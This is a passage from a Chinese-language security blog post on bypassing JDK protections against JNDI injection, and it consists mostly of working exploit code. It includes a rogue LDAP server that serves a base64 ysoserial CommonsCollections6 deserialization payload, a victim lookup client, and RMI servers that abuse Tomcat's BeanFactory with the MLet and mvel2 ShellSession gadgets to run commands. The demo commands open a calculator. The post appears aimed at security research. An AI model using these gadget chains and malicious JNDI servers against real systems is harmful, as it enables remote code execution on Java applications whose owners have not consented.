import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;


public class ldap_javaSerializedData_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        public OperationInterceptor () {
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            e.addAttribute("javaClassName", "Exploit");
            try {
                // java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        try{
            String url = "ldap://localhost:1389/Exploit";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(url);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

这种绕过方式需要利用一个本地的反序列化利用链,如CommonsCollections或者结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。

利用CLASSPATH不那么常见的类构造gadget

1、javax.management.loading.MLet 探测类是否存在

javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在。

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class MLet_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
            ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
            ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/"));
            ref.add(new StringRefAddr("c", "andrew_hann_class"));
            //触发点在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面出现404,则说明前面对ELProcessor类的加载成功了。当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求。 

2、org.mvel2.sh.ShellSession.exec()

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>

服务端代码如下,

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class mvel2_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "a=exec"));
            ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"));
            //触发点在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

参考链接: 

https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html 
https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://zhuanlan.zhihu.com/p/471482692
https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/
https://koalr.me/posts/commonscollections-deserialization/
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE
https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/ 
https://www.cnblogs.com/expl0it/p/13882169.html
https://blog.csdn.net/weixin_45682070/article/details/121888247
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/
https://www.cnblogs.com/bitterz/p/15946406.html
https://tttang.com/archive/1405/

文章来源: https://www.cnblogs.com/LittleHann/p/17768907.html
如有侵权请联系:admin#unsafe.sh